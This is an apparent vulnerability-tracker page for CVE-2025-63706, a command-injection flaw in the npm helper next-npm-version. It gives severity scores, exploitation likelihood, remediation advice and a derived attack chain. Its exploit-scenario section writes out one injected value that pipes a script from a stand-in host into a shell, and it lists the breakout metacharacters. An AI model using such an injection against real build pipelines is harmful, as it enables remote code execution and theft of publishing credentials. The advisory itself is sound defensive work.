Skip to main content

next-npm-version EUVDEUVD-2025-209724

| CVE-2025-63706 CRITICAL
Code Injection (CWE-94)
2026-05-07 mitre GHSA-2xx6-qf7x-grqh
9.8
CVSS 3.1 · Vendor: mitre
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Influence input to release tooling (branch/tag/CI var)
  2. Delivery
    Value passed to next-npm-version
  3. Exploit
    Shell metacharacters break out of child_process
  4. Execution
    Arbitrary OS command runs in build context
  5. Impact
    Compromise CI host or publish credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that a project actually depend on and invoke next-npm-version 1.0.1, and that an attacker can control the input string passed to its version/command routine (e.g. a version argument, tag, branch name, or CI variable) so that shell metacharacters reach the underlying child_process call. This is fundamentally limited to environments running the package - a niche developer/release utility - and in practice needs a code path or CI configuration that feeds untrusted data into the tool; there is no listening network service, so despite the CVSS AV:N/PR:N/UI:N vector, real exploitation depends on local invocation and attacker-controlled input rather than default remote access. No authentication is required at the CVSS level (PR:N), and SSVC marks the flaw automatable with total technical impact, but the practical prerequisite of the package being present and fed tainted input sharply constrains realistic attack surface.

Impact

The signals conflict sharply and argue against treating this as an urgent priority. The 9.8 CVSS with AV:N/AC:L/PR:N/UI:N implies trivial remote unauthenticated RCE, but this is a developer-facing npm utility with no network service - exploitation realistically requires a developer to run the tool against attacker-influenced input, i.e. a local/supply-chain vector, so AV:N is very likely overstated. Corroborating this, EPSS is only 0.03% (10th percentile) and CISA SSVC records Exploitation: none, meaning no observed exploitation despite the utility's potential for automatable, total-impact abuse. A public gist provides proof-of-concept code, so publicly available exploit code exists, but that is distinct from active exploitation and this is not on CISA KEV. Net: a genuinely dangerous code-execution bug in a near-zero-deployment package, not a fleet-wide emergency.

Exploit ScenarioDerived

A developer or CI job invokes next-npm-version with a version/argument value that an attacker can influence - for example a git branch or tag name, or an environment variable in an automated release workflow. The attacker embeds shell metacharacters (e.g. a value like '1.0.0; curl evil.sh | sh') that break out of the underlying child_process command, executing arbitrary OS commands with the privileges of the build process. A proof-of-concept demonstrating the injection is publicly available in a gist (gist.github.com/6en6ar/607368f1fc8fe429f03c6e0d9486ba72).

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

Code injection in the Node.js npm package next-npm-version 1.0.1 (published by afeiship/@jswork) allows attacker-controlled input to be passed into a shell execution context, achieving arbitrary command execution (CWE-94). A proof-of-concept exists in a public gist, though there is no evidence of active exploitation; the EPSS probability is very low (0.03%, 10th percentile) and CISA SSVC rates exploitation as 'none' but automatable with total technical impact. The NVD CVSS of 9.8 (AV:N) appears optimistic for a version-bumping developer utility whose command execution is far more plausibly reached via local/library invocation than remote network access.

RemediationAI

No vendor-released patched version is identified at time of analysis - the references point to a GitHub issue (github.com/afeiship/next-npm-version/issues/1) and the npm package page rather than a tagged fixed release, so upgrading is not currently an option. As the most effective compensating control, remove the next-npm-version dependency from build and release pipelines (its function, bumping npm versions, is replaceable by 'npm version' directly), which eliminates the injection surface entirely with no security downside. If it must remain, never pass untrusted or externally-influenced strings (branch names, tags, CI variables, user input) into its version/command parameters, and run any release tooling that uses it in an isolated, least-privileged CI runner so that a triggered command cannot reach production credentials or hosts. Monitor the npm advisory (https://www.npmjs.com/package/@jswork/next-npm-version) and NVD (https://nvd.nist.gov/vuln/detail/CVE-2025-63706) for a fixed release.

Affected VersionsENISA

n/a n/a

Affected Packages

npm @jswork/next-npm-version no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

next-npm-version is a small helper library in the @jswork/afeiship JavaScript ecosystem intended to automate bumping and publishing npm package versions. Such tooling typically shells out to the npm CLI or git using child_process (exec/execSync) with interpolated arguments; when a version string or other parameter is concatenated into that command line without sanitization, shell metacharacters (;, |, `, $()) break out of the intended command - the CWE-94 (Improper Control of Generation of Code / code injection) root cause here manifesting as OS command injection. The CPE data is unusable (cpe:2.3:a:n/a:n/a:*) as MITRE recorded the vendor/product as 'n/a', so the affected component is identified only by the package name and the referenced npm/GitHub artifacts.

Know when N A gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (mitre) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 7.3 HIGH

Command runs in a local developer/CI context requiring the tool be invoked (UI:R) with some access to influence input (PR:L, AV:L); successful injection yields full code execution, so C/I/A:H.

3.1 AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (mitre).

CVSS VectorVendor: mitre

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
CVSS changed
May 08, 2026 - 23:22 NVD
9.8 (None) 9.8 (CRITICAL)
CVE Published
May 07, 2026 - 00:00 nvd
UNKNOWN (no severity yet)
CVE Published
May 07, 2026 - 00:00 nvd
CRITICAL 9.8

DescriptionCVE.org

NPM package next-npm-version1.0.1 is vulnerable to Command injection.

Executive ViewAI

Why It Matters

The npm package next-npm-version (v1.0.1) contains a critical code injection vulnerability enabling arbitrary command execution in development and CI/CD environments. Any organization using this package in build pipelines faces direct risk of malicious code injection into releases. While no active exploitation has been documented, public exploit code exists and the package's position in the release workflow creates a direct supply-chain attack vector.

Business Impact: High
Compensating Controls

Remove next-npm-version from all projects. If removal is operationally infeasible short-term, restrict execution to sandboxed, offline build runners; disable outbound network access during package execution; implement strict input whitelisting for all version string inputs; audit all build artifacts and release signatures produced by affected pipelines for tampering; require manual code review of any version bumps. Monitor npm registry and vendor (@jswork) GitHub for patch releases.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Prevalence
Rare
obscure single-author npm helper, negligible production deployment
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in N A

View all
CVE-2024-51092 CRITICAL POC
9.1 May 08

LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr

CVE-2025-15684 MEDIUM POC
5.5 Aug 12

Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han

CVE-2024-45257 HIGH POC
7.3 May 08

A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi

CVE-2025-15687 LOW POC
2.1 Aug 12

Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc

CVE-2025-15686 LOW POC
2.1 Aug 12

Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula

CVE-2025-67888 HIGH POC
7.3 May 08

Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root

CVE-2024-53326 HIGH POC
7.3 May 08

LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(

CVE-2026-38360 CRITICAL POC
9.8 May 08

Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti

CVE-2026-30623 CRITICAL POC
9.8 Jul 15

Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr

CVE-2026-67917 CRITICAL POC
9.8 Aug 17

SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg

CVE-2026-75337 CRITICAL POC
9.8 Aug 27

Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ

CVE-2026-31072 CRITICAL POC
9.8 May 19

Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy